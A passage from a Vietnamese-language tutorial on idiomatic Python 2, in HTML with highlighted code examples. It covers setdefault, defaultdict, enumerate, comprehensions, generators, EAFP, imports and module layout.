<span class="n">navs</span><span class="p">[</span><span class="n">portfolio</span><span class="p">]</span> <span class="o">=</span> <span class="n">navs</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">portfolio</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">position</span> <span class="o">*</span> <span class="n">prices</span><span class="p">[</span><span class="n">equity</span><span class="p">]</span>
</pre></div>
</div>
<div class="section" id="phuong-thuc-setdefault-cua-tu-dien">
<h2>Phương thức <tt class="docutils literal">setdefault()</tt> của từ điển</h2>
<p>Cách dở để khởi tạo một từ điển:</p>
<div class="highlight"><pre><span></span><span class="n">equities</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">for</span> <span class="p">(</span><span class="n">portfolio</span><span class="p">,</span> <span class="n">equity</span><span class="p">)</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
<span class="k">if</span> <span class="n">portfolio</span> <span class="ow">in</span> <span class="n">equities</span><span class="p">:</span>
<span class="n">equities</span><span class="p">[</span><span class="n">portfolio</span><span class="p">]</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">equity</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">equities</span><span class="p">[</span><span class="n">portfolio</span><span class="p">]</span> <span class="o">=</span> <span class="p">[</span><span class="n">equity</span><span class="p">]</span>
</pre></div>
<p>Dùng <tt class="docutils literal">dict.setdefault(key, default)</tt> nhanh gọn hơn nhiều:</p>
<div class="highlight"><pre><span></span><span class="n">equities</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">for</span> <span class="p">(</span><span class="n">portfolio</span><span class="p">,</span> <span class="n">equity</span><span class="p">)</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
<span class="n">equities</span><span class="o">.</span><span class="n">setdefault</span><span class="p">(</span><span class="n">portfolio</span><span class="p">,</span> <span class="p">[])</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">equity</span><span class="p">)</span>
</pre></div>
<p><tt class="docutils literal">dict.setdefault()</tt> tương đương với <em>lấy, hoặc thiết lập rồi lấy</em>. Nó rất hiệu quả nếu khóa từ điển cần nhiều thời gian để tính, hoặc vì nó dài nên khó nhập. Tuy nhiên giá trị <em>default</em> luôn luôn được tính cho dù có cần dùng hay không.</p>
<p>Phương thức <tt class="docutils literal">setdefault()</tt> cũng có thể được dùng riêng vì hiệu quả phụ của nó:</p>
<div class="highlight"><pre><span></span><span class="n">navs</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">for</span> <span class="p">(</span><span class="n">portfolio</span><span class="p">,</span> <span class="n">equity</span><span class="p">,</span> <span class="n">position</span><span class="p">)</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
<span class="n">navs</span><span class="o">.</span><span class="n">setdefault</span><span class="p">(</span><span class="n">portfolio</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">navs</span><span class="p">[</span><span class="n">portfolio</span><span class="p">]</span> <span class="o">+=</span> <span class="n">position</span> <span class="o">*</span> <span class="n">prices</span><span class="p">[</span><span class="n">equity</span><span class="p">]</span>
</pre></div>
</div>
<div class="section" id="defaultdict">
<h2><tt class="docutils literal">defaultdict</tt></h2>
<p>Trong Python 2.5, <tt class="docutils literal">defaultdict</tt> là một phần của mô-đun <tt class="docutils literal">collections</tt>. Nó giống như từ điển thường nhưng với hai đặc điểm khác:</p>
<ul class="simple">
<li>Nó nhận một tham số là một hàm nhà máy mặc định (default factory functions) và</li>
<li>Khi khóa không thể tìm thấy trong từ điển, hàm này sẽ được gọi và kết quả trả về sẽ được dùng để khởi tạo khóa đó</li>
</ul>
<p>Đây là ví dụ trước, mà mỗi phần tử trong từ điển là một danh sách rỗng, nhưng dùng <tt class="docutils literal">defaultdict</tt>:</p>
<div class="highlight"><pre><span></span><span class="kn">from</span> <span class="nn">collections</span> <span class="kn">import</span> <span class="n">defaultdict</span>
<span class="n">equities</span> <span class="o">=</span> <span class="n">defaultdict</span><span class="p">(</span><span class="nb">list</span><span class="p">)</span>
<span class="k">for</span> <span class="p">(</span><span class="n">portfolio</span><span class="p">,</span> <span class="n">equity</span><span class="p">)</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
<span class="n">equities</span><span class="p">[</span><span class="n">portfolio</span><span class="p">]</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">equity</span><span class="p">)</span>
</pre></div>
<p>Trong ví dụ này, hàm nhà máy mặc định là <tt class="docutils literal">list</tt>. Để tạo từ điển giá trị mặc định là 0 thì dùng <tt class="docutils literal">int</tt>:</p>
<div class="highlight"><pre><span></span><span class="n">navs</span> <span class="o">=</span> <span class="n">defaultdict</span><span class="p">(</span><span class="nb">int</span><span class="p">)</span>
<span class="k">for</span> <span class="p">(</span><span class="n">portfolio</span><span class="p">,</span> <span class="n">equity</span><span class="p">,</span> <span class="n">position</span><span class="p">)</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
<span class="n">navs</span><span class="p">[</span><span class="n">portfolio</span><span class="p">]</span> <span class="o">+=</span> <span class="n">position</span> <span class="o">*</span> <span class="n">prices</span><span class="p">[</span><span class="n">equity</span><span class="p">]</span>
</pre></div>
<p>Vì khóa mới luôn được tạo nên bạn sẽ không gặp <tt class="docutils literal">KeyError</tt> với <tt class="docutils literal">defaultdict</tt>. Bạn phải dùng <tt class="docutils literal">in</tt> để kiểm tra xem một khóa đã có trong từ điển hay chưa.</p>
</div>
<div class="section" id="kiem-tra-gia-tri-dung">
<h2>Kiểm tra giá trị đúng</h2>
<div class="highlight"><pre><span></span><span class="c1"># dùng: # không dùng:</span>
<span class="k">if</span> <span class="n">x</span><span class="p">:</span> <span class="k">if</span> <span class="n">x</span> <span class="o">==</span> <span class="kc">True</span><span class="p">:</span>
<span class="k">pass</span> <span class="k">pass</span>
</pre></div>
<p>Nếu là một danh sách:</p>
<div class="highlight"><pre><span></span><span class="c1"># dùng: # không dùng:</span>
<span class="k">if</span> <span class="n">items</span><span class="p">:</span> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">items</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
<span class="k">pass</span> <span class="k">pass</span>
<span class="c1"># and definitely not this:</span>
<span class="k">if</span> <span class="n">items</span> <span class="o">!=</span> <span class="p">[]:</span>
<span class="k">pass</span>
</pre></div>
<p>Để điều khiển giá trị đúng của các trường hợp của một lớp người dùng định nghĩa, sử dụng các phương thức đặc biệt <tt class="docutils literal">__nonzero__</tt> hoặc <tt class="docutils literal">__len__</tt>. Dùng <tt class="docutils literal">__len__</tt> nếu lớp đó là một lớp chứa (container) có chiều dài:</p>
<div class="highlight"><pre><span></span><span class="k">class</span> <span class="nc">MyContainer</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">data</span> <span class="o">=</span> <span class="n">data</span>
<span class="k">def</span> <span class="fm">__len__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="sd">"""Return my length."""</span>
<span class="k">return</span> <span class="nb">len</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">data</span><span class="p">)</span>
</pre></div>
<p>Nếu lớp đó không phải là một lớp chứa thì dùng <tt class="docutils literal">__nonzero__</tt>:</p>
<div class="highlight"><pre><span></span><span class="k">class</span> <span class="nc">MyClass</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">value</span> <span class="o">=</span> <span class="n">value</span>
<span class="k">def</span> <span class="nf">__nonzero__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="sd">"""Return my truth value (True or False)."""</span>
<span class="c1"># This could be arbitrarily complex:</span>
<span class="k">return</span> <span class="nb">bool</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">value</span><span class="p">)</span>
</pre></div>
<p>Trong Python 3.0, <tt class="docutils literal">__nonzero__</tt> được đổi tên thành <tt class="docutils literal">__bool__</tt> để đồng nhất với kiểu <tt class="docutils literal">bool</tt> có sẵn. Thêm dòng sau vào lớp của bạn cho nó tương hợp hơn:</p>
<div class="highlight"><pre><span></span><span class="fm">__bool__</span> <span class="o">=</span> <span class="n">__nonzero__</span>
</pre></div>
</div>
<div class="section" id="chi-muc-va-phan-tu">
<h2>Chỉ mục và phần tử</h2>
<p>Dùng <tt class="docutils literal">enumerate()</tt> để lặp:</p>
<div class="highlight"><pre><span></span><span class="k">for</span> <span class="p">(</span><span class="n">index</span><span class="p">,</span> <span class="n">item</span><span class="p">)</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">items</span><span class="p">):</span>
<span class="nb">print</span> <span class="n">index</span><span class="p">,</span> <span class="n">item</span>
<span class="c1"># thay vì: # thay vì:</span>
<span class="n">index</span> <span class="o">=</span> <span class="mi">0</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">items</span><span class="p">)):</span>
<span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">items</span><span class="p">:</span> <span class="nb">print</span> <span class="n">i</span><span class="p">,</span> <span class="n">items</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="nb">print</span> <span class="n">index</span><span class="p">,</span> <span class="n">item</span>
<span class="n">index</span> <span class="o">+=</span> <span class="mi">1</span>
</pre></div>
<p><tt class="docutils literal">enumerate()</tt> trả về một bộ lặp (iterator) (một bộ sinh, generator, là một kiểu bộ lặp):</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="nb">enumerate</span><span class="p">(</span><span class="n">items</span><span class="p">)</span>
<span class="go"><enumerate object at 0xb73ee0f4></span>
</pre></div>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">e</span> <span class="o">=</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">items</span><span class="p">)</span>
<span class="gp">>>> </span><span class="n">e</span><span class="o">.</span><span class="n">next</span><span class="p">()</span>
<span class="go">(0, 'zero')</span>
<span class="gp">>>> </span><span class="n">e</span><span class="o">.</span><span class="n">next</span><span class="p">()</span>
<span class="go">(1, 'one')</span>
<span class="gp">>>> </span><span class="n">e</span><span class="o">.</span><span class="n">next</span><span class="p">()</span>
<span class="go">(2, 'two')</span>
<span class="gp">>>> </span><span class="n">e</span><span class="o">.</span><span class="n">next</span><span class="p">()</span>
<span class="go">(3, 'three')</span>
<span class="gp">>>> </span><span class="n">e</span><span class="o">.</span><span class="n">next</span><span class="p">()</span>
<span class="gt">Traceback (most recent call last):</span>
<span class="err"> File "", line 1, in ?</span>
<span class="x">StopIteration</span>
</pre></div>
</div>
<div class="section" id="cac-ngon-ngu-khac-co-bien">
<h2>Các ngôn ngữ khác có <em>biến</em></h2>
<p>Trong các ngôn ngữ khác, gán vào một biến là đưa giá trị vào một hộp.</p>
<table border="1" class="docutils">
<colgroup>
<col width="64%" />
<col width="36%" />
</colgroup>
<tbody valign="top">
<tr><td><tt class="docutils literal">int a = 1;</tt></td>
<td><img alt="a1box" src="/static/idiomatic-python/a1box.png" /></td>
</tr>
</tbody>
</table>
<p>Hộp <tt class="docutils literal">a</tt> bây giờ chứa một số nguyên 1.</p>
<p>Gán một giá trị khác vào cùng biến đó sẽ thay thế những gì đã có trong hộp.</p>
<table border="1" class="docutils">
<colgroup>
<col width="57%" />
<col width="43%" />
</colgroup>
<tbody valign="top">
<tr><td><tt class="docutils literal">a = 2;</tt></td>
<td><img alt="a2box" src="/static/idiomatic-python/a2box.png" /></td>
</tr>
</tbody>
</table>
<p>Gán một biến vào một biến khác sẽ tạo một bản sao của giá trị trong hộp này và đặt nó vào hộp mới.</p>
<table border="1" class="docutils">
<colgroup>
<col width="47%" />
<col width="26%" />
<col width="26%" />
</colgroup>
<tbody valign="top">
<tr><td><tt class="docutils literal">int b = a;</tt></td>
<td><img alt="b2box" src="/static/idiomatic-python/b2box.png" /></td>
<td><img alt="a2box" src="/static/idiomatic-python/a2box.png" /></td>
</tr>
</tbody>
</table>
<p><tt class="docutils literal">b</tt> là một hộp mới, có giá trị là bản sao của số nguyên 2. Trong khi hộp <tt class="docutils literal">a</tt> có một bản sao riêng.</p>
</div>
<div class="section" id="python-co-ten">
<h2>Python có <em>tên</em></h2>
<p>Trong Python, <em>tên</em> hoặc <em>định danh</em> giống như thẻ tên gắn vào một đối tượng.</p>
<table border="1" class="docutils">
<colgroup>
<col width="55%" />
<col width="45%" />
</colgroup>
<tbody valign="top">
<tr><td><tt class="docutils literal">a = 1</tt></td>
<td><img alt="a1tag" src="/static/idiomatic-python/a1tag.png" /></td>
</tr>
</tbody>
</table>
<p>Ở đây, số nguyên 1 được gắn một thẻ tên <tt class="docutils literal">a</tt>.</p>
<p>Nếu chúng ta gán lại vào <tt class="docutils literal">a</tt>, chúng ta chỉ chuyển thẻ <tt class="docutils literal">a</tt> vào một đối tượng khác.</p>
<table border="1" class="docutils">
<colgroup>
<col width="44%" />
<col width="36%" />
<col width="20%" />
</colgroup>
<tbody valign="top">
<tr><td><tt class="docutils literal">a = 2</tt></td>
<td><img alt="a2tag" src="/static/idiomatic-python/a2tag.png" /></td>
<td><img alt="1" src="/static/idiomatic-python/1.png" /></td>
</tr>
</tbody>
</table>
<p>Giờ đây tên <tt class="docutils literal">a</tt> được gắn vào số nguyên 2. Số nguyên 1 có thể vẫn còn tồn tại nhưng nó không còn thẻ tên <tt class="docutils literal">a</tt>.</p>
<p>Nếu chúng ta gán một tên vào một tên khác, chúng ta chỉ là gắn một thẻ tên khác vào đối tượng đã có.</p>
<table border="1" class="docutils">
<colgroup>
<col width="52%" />
<col width="48%" />
</colgroup>
<tbody valign="top">
<tr><td><tt class="docutils literal">b = a</tt></td>
<td><img alt="ab2tag" src="/static/idiomatic-python/ab2tag.png" /></td>
</tr>
</tbody>
</table>
<p>Tên <tt class="docutils literal">b</tt> chỉ là một thẻ tên thứ hai được gắn vào cùng một đối tượng như thẻ tên <tt class="docutils literal">a</tt>.</p>
<p>Trong Python, <em>biến</em> là những thẻ tên, không phải là những hộp được đánh tên.</p>
</div>
<div class="section" id="gop-danh-sach-list-comprehension-hay-listcomp">
<h2>Gộp danh sách (list comprehension, hay listcomp)</h2>
<p>Thông thường:</p>
<div class="highlight"><pre><span></span><span class="n">new_list</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">a_list</span><span class="p">:</span>
<span class="k">if</span> <span class="n">condition</span><span class="p">(</span><span class="n">item</span><span class="p">):</span>
<span class="n">new_list</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">fn</span><span class="p">(</span><span class="n">item</span><span class="p">))</span>
</pre></div>
<p>Với listcomp:</p>
<div class="highlight"><pre><span></span><span class="n">new_list</span> <span class="o">=</span> <span class="p">[</span><span class="n">fn</span><span class="p">(</span><span class="n">item</span><span class="p">)</span> <span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">a_list</span>
<span class="k">if</span> <span class="n">condition</span><span class="p">(</span><span class="n">item</span><span class="p">)]</span>
</pre></div>
<p>Listcomp rõ ràng và xúc tích. Listcomp có thể chứa nhiều vòng <tt class="docutils literal">for</tt> hoặc câu lệnh <tt class="docutils literal">if</tt> nhưng nếu nhiều hơn 2 hay 3 thì tốt nhất là nên dùng cách thông thường. Ví dụ danh sách bình phương của các số lẻ từ 0 tới 9:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="p">[</span><span class="n">n</span> <span class="o">**</span> <span class="mi">2</span> <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span> <span class="k">if</span> <span class="n">n</span> <span class="o">%</span> <span class="mi">2</span><span class="p">]</span>
<span class="go">[1, 9, 25, 49, 81]</span>
</pre></div>
</div>
<div class="section" id="bieu-thuc-bo-sinh-generator-expression-genexp">
<h2>Biểu thức bộ sinh (generator expression, genexp)</h2>
<p>Để tính tổng bình phương từ 1 đến 100 ta có thể dùng vòng lặp <tt class="docutils literal">for</tt>:</p>
<div class="highlight"><pre><span></span><span class="n">total</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">num</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">101</span><span class="p">):</span>
<span class="n">total</span> <span class="o">+=</span> <span class="n">num</span> <span class="o">*</span> <span class="n">num</span>
</pre></div>
<p>Hoặc dùng hàm <tt class="docutils literal">sum()</tt> với listcomp:</p>
<div class="highlight"><pre><span></span><span class="n">total</span> <span class="o">=</span> <span class="nb">sum</span><span class="p">([</span><span class="n">num</span> <span class="o">*</span> <span class="n">num</span> <span class="k">for</span> <span class="n">num</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">101</span><span class="p">)])</span>
</pre></div>
<p>Hoặc <tt class="docutils literal">sum()</tt> với genexp:</p>
<div class="highlight"><pre><span></span><span class="n">total</span> <span class="o">=</span> <span class="nb">sum</span><span class="p">(</span><span class="n">num</span> <span class="o">*</span> <span class="n">num</span> <span class="k">for</span> <span class="n">num</span> <span class="ow">in</span> <span class="n">xrange</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">101</span><span class="p">))</span>
</pre></div>
<p>Biểu thức bộ sinh giống như gộp danh sách nhưng nó <em>lười</em> (lazy). Listcomp tạo danh sách ngay lập tức, còn genexp tạo từng giá trị một. Khi chúng ta không cần một danh sách mà chỉ cần từng giá trị của danh sách đó, genext rất hữu dụng. Ví dụ như để tính tổng bình phương từ 1 tới 1000000000, chúng ta sẽ dùng hết bộ nhớ nếu ta dùng listcomp, nhưng với genexp thì chuyện này có thể được thực hiện (mặc dù hơi lâu):</p>
<div class="highlight"><pre><span></span><span class="n">total</span> <span class="o">=</span> <span class="nb">sum</span><span class="p">(</span><span class="n">num</span> <span class="o">*</span> <span class="n">num</span>
<span class="k">for</span> <span class="n">num</span> <span class="ow">in</span> <span class="n">xrange</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1000000000</span><span class="p">))</span>
</pre></div>
</div>
<div class="section" id="sap-xep-voi-dsu">
<h2>Sắp xếp với DSU</h2>
<p>DSU là Decorate-Sort-Undecorate (trang hoàng, sắp xếp, khử trang hoàng).</p>
<p>Thay vì tạo một hàm so sánh riêng, ta có thể tạo một danh sách tạm sẽ được sắp xếp. Ví dụ để sắp xếp một danh sách các chuỗi theo thứ tự chữ cái thường của chúng:</p>
<div class="highlight"><pre><span></span><span class="n">a_list</span> <span class="o">=</span> <span class="s2">"Mot Hai Ba"</span><span class="o">.</span><span class="n">split</span><span class="p">()</span>
<span class="c1"># a_list = ["Mot", "Hai", "Ba"]</span>
<span class="c1"># Decorate:</span>
<span class="n">to_sort</span> <span class="o">=</span> <span class="p">[(</span><span class="n">lower</span><span class="p">(</span><span class="n">x</span><span class="p">),</span> <span class="n">x</span><span class="p">)</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">a_list</span><span class="p">]</span>
<span class="c1"># to_sort = [("mot", "Mot"), ("hai", "Hai"), ("ba", "Ba")]</span>
<span class="c1"># Sort:</span>
<span class="n">to_sort</span><span class="o">.</span><span class="n">sort</span><span class="p">()</span>
<span class="c1"># to_sort = [("ba", "Ba"), ("hai", "Hai"), ("mot", "Mot")]</span>
<span class="c1"># Undecorate:</span>
<span class="n">a_list</span> <span class="o">=</span> <span class="p">[</span><span class="n">item</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">to_sort</span><span class="p">]</span>
<span class="c1"># a_list = ["Ba", "Hai", "Mot"]</span>
</pre></div>
<p>Đây là sự đổi chác giữa bộ nhớ và thời gian. Đơn giản và nhanh hơn, nhưng tốn bộ nhớ hơn vì chúng ta cần tạo một danh sách mới.</p>
</div>
<div class="section" id="bo-sinh-generator">
<h2>Bộ sinh (generator)</h2>
<p>Chúng ta đã gặp biểu thức bộ sinh. Chúng ta cũng có thể tạo những bộ sinh phức tạp riêng như là những hàm:</p>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">my_range_generator</span><span class="p">(</span><span class="n">stop</span><span class="p">):</span>
<span class="n">value</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">while</span> <span class="n">value</span> <span class="o"><</span> <span class="n">stop</span><span class="p">:</span>
<span class="k">yield</span> <span class="n">value</span>
<span class="n">value</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">my_range_generator</span><span class="p">(</span><span class="mi">10</span><span class="p">):</span>
<span class="n">do_something</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
</pre></div>
<p>Từ khóa <tt class="docutils literal">yield</tt> biến một hàm thành một bộ sinh. Khi bạn gọi một hàm bộ sinh (generator function), thay vì thực thi mã ngay lập tức, Python trả về một đối tượng bộ sinh (generator object), cũng là một bộ lặp vì nó có phương thức <tt class="docutils literal">next()</tt>. Vòng <tt class="docutils literal">for</tt> gọi phương thức <tt class="docutils literal">next()</tt> của bộ lặp cho đến khi biệt lệ <tt class="docutils literal">StopIteration</tt> được nâng. Bạn có thể tự nâng <tt class="docutils literal">StopIteration</tt> hoặc nó sẽ được nâng khi đến cuối bộ sinh.</p>
<p>Vòng <tt class="docutils literal">for</tt> có một vế <tt class="docutils literal">else</tt> sẽ được thực thi khi mà bộ lặp chạy xong, nhưng không được thực thi khi thoát khỏi bằng câu lệnh <tt class="docutils literal">break</tt>. Ví dụ nếu chúng ta muốn kiểm tra xem điều kiện nào đó có thỏa với một phần tử bất kỳ của một dãy:</p>
<div class="highlight"><pre><span></span><span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">sequence</span><span class="p">:</span>
<span class="k">if</span> <span class="n">condition</span><span class="p">(</span><span class="n">item</span><span class="p">):</span>
<span class="k">break</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">raise</span> <span class="ne">Exception</span><span class="p">(</span><span class="s1">'Condition not satisfied.'</span><span class="p">)</span>
</pre></div>
<p>Ví dụ để lọc các dòng trắng khỏi bộ đọc CSV hoặc các phần tử của một danh sách:</p>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">filter_rows</span><span class="p">(</span><span class="n">row_iterator</span><span class="p">):</span>
<span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">row_iterator</span><span class="p">:</span>
<span class="k">if</span> <span class="n">row</span><span class="p">:</span>
<span class="k">yield</span> <span class="n">row</span>
<span class="n">data_file</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span>
<span class="n">irows</span> <span class="o">=</span> <span class="n">filter_rows</span><span class="p">(</span><span class="n">csv</span><span class="o">.</span><span class="n">reader</span><span class="p">(</span><span class="n">data_file</span><span class="p">))</span>
</pre></div>
<p>Hoặc đọc từng dòng từ tập tin văn bản:</p>
<div class="highlight"><pre><span></span><span class="n">datafile</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'datafile'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">datafile</span><span class="p">:</span>
<span class="n">do_something</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
</pre></div>
<p>Điều này làm được là vì các đối tượng tập tin hỗ trợ phương thức <tt class="docutils literal">next()</tt> y như các bộ lặp khác: danh sách, bộ, từ điển (cho các khóa của nó), và các bộ sinh.</p>
<p>Một điều cần lưu ý là bạn không thể dùng lẫn lộn <tt class="docutils literal">next()</tt> và <tt class="docutils literal">read()</tt> ở các đối tượng tập tin trừ khi bạn dùng Python 2.5 trở lên.</p>
</div>
<div class="section" id="eafp-v-s-lbyl">
<h2>EAFP v.s. LBYL</h2>
<p>Easier to Ask Forgiveness than Permission: Dễ xin sự tha thứ hơn là sự cho phép. Ý là cứ làm đi và tìm sự tha thứ sau nếu làm sai, còn hơn là tìm sự cho phép trước khi làm.</p>
<p>Look Before You Leap: Nhìn trước khi nhảy. Ý là phải xem xét hết các trường hợp có thể xảy ra trước khi làm.</p>
<p>Thông thường EAFP được ưa chuộng hơn.</p>
<p>Ví dụ như để ép kiểu một biến thành kiểu chuỗi, ta có thể gói đoạn mã trong một câu lệnh <tt class="docutils literal">try</tt> thay vì dùng <tt class="docutils literal">isinstance()</tt>. Và thông thường thì bạn sẽ nhận ra giải pháp tổng quát hơn là nếu bạn cố tìm ra mọi trường hợp có thể.</p>
<div class="highlight"><pre><span></span><span class="k">try</span><span class="p">:</span>
<span class="k">return</span> <span class="nb">str</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>
<span class="k">except</span> <span class="ne">TypeError</span><span class="p">:</span>
<span class="o">...</span>
</pre></div>
<p>Luôn luôn chỉ rõ kiểu biệt lệ! Không bao giờ dùng vế <tt class="docutils literal">except</tt> đơn giản vì nó sẽ chụp luôn cả những biệt lệ không lường trước, làm cho mã của bạn khó gỡ rối.</p>
</div>
<div class="section" id="khong-dung-from-module-import">
<h2>Không dùng <tt class="docutils literal">from module import *</tt></h2>
<p>Thay vào đó, tham chiếu tới tên qua tên mô-đun:</p>
<div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">module</span>
<span class="n">module</span><span class="o">.</span><span class="n">name</span>
</pre></div>
<p>Hoặc dùng tên mô-đun ngắn:</p>
<div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">long_module_name</span> <span class="k">as</span> <span class="nn">mod</span>
<span class="n">mod</span><span class="o">.</span><span class="n">name</span>
</pre></div>
<p>Hoặc tự nhập vào các tên bạn cần:</p>
<div class="highlight"><pre><span></span><span class="kn">from</span> <span class="nn">module</span> <span class="kn">import</span> <span class="n">name</span>
<span class="n">name</span>
</pre></div>
</div>
<div class="section" id="mo-dun-va-kich-ban">
<h2>Mô-đun và kịch bản</h2>
<p>Để vừa tạo một mô-đun và một kịch bản chạy được:</p>
<div class="highlight"><pre><span></span><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">'__main__'</span><span class="p">:</span>
<span class="c1"># script code here</span>
</pre></div>
<p>Trừ trường hợp rất cần thiết, bạn không nên đặt mã thực thi ở mức cao nhất mà hãy đặt chúng ở trong các hàm, các lớp, hoặc các phương thức rồi dùng nó trong <tt class="docutils literal">if __name__ == '__main__'</tt>.</p>
</div>
<div class="section" id="cau-truc-mo-dun">
<h2>Cấu trúc mô-đun</h2>
<p>Một mô-đun nên có cấu trúc như sau:</p>
<div class="highlight"><pre><span></span><span class="sd">"""module docstring"""</span>
<span class="c1"># imports</span>
<span class="c1"># constants</span>
<span class="c1"># exception classes</span>
<span class="c1"># interface functions</span>
<span class="c1"># classes</span>
<span class="c1"># internal functions & classes</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">(</span><span class="o">...</span><span class="p">):</span>
<span class="o">...</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">'__main__'</span><span class="p">:</span>
<span class="n">status</span> <span class="o">=</span> <span class="n">main</span><span class="p">()</span>
<span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="n">status</span><span class="p">)</span>
</pre></div>
</div>
<div class="section" id="goi">
<h2>Gói</h2>
<pre class="literal-block">
package/
__init__.py # <-- Lưu ý
module1.py
subpackage/
__init__.py
module2.py
</pre>
<ul class="simple">
<li>Dùng để quản lý dự án</li>
<li>Giảm các mục trong đường dẫn nạp (load-path)</li>
<li>Giảm xung đột tên</li>
</ul>
<p>Ví dụ:</p>
<div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">package.module1</span>
<span class="kn">from</span> <span class="nn">packages.subpackage</span> <span class="kn">import</span> <span class="n">module2</span>
<span class="kn">from</span> <span class="nn">packages.subpackage.module2</span> <span class="kn">import</span> <span class="n">name</span>
</pre></div>
<p>Trong Python 2.5 chúng ta có nhập tuyệt đối (absolute import) và nhập tương đối (relative import):</p>
<div class="highlight"><pre><span></span><span class="kn">from</span> <span class="nn">__future__</span> <span class="kn">import</span> <span class="n">absolute_import</span>
</pre></div>
</div>
<div class="section" id="don-gian-tot-hon-phuc-tap">
<h2>Đơn giản tốt hơn phức tạp</h2>
<blockquote>
<p>Debugging is twice as hard as writing the code in the first place.
Therefore, if you write the code as cleverly as possible, you are, by definition, not smart enough to debug it.</p>
<p class="attribution">—Brian W. Kernighan, cùng tác giả của <em>The C Programming Language</em> và là chữ <tt class="docutils literal">K</tt> trong <tt class="docutils literal">AWK</tt></p>
</blockquote>
<p>Tạm dịch: Gỡ rối khó gấp hai lần viết mã. Cho nên, nếu bạn viết mã lanh lợi nhất có thể, thì bạn, theo định nghĩa, không đủ thông minh để gỡ rối. Nói một cách khác, hãy giữ cho chương trình của bạn đơn giản.</p>
</div>
<div class="section" id="dung-sang-tao-lai-banh-xe">
<h2>Đừng sáng tạo lại bánh xe</h2>
<p>Trước khi viết mã, hãy:</p>
<ul class="simple">
<li>Xem qua thư viện chuẩn của Python</li>
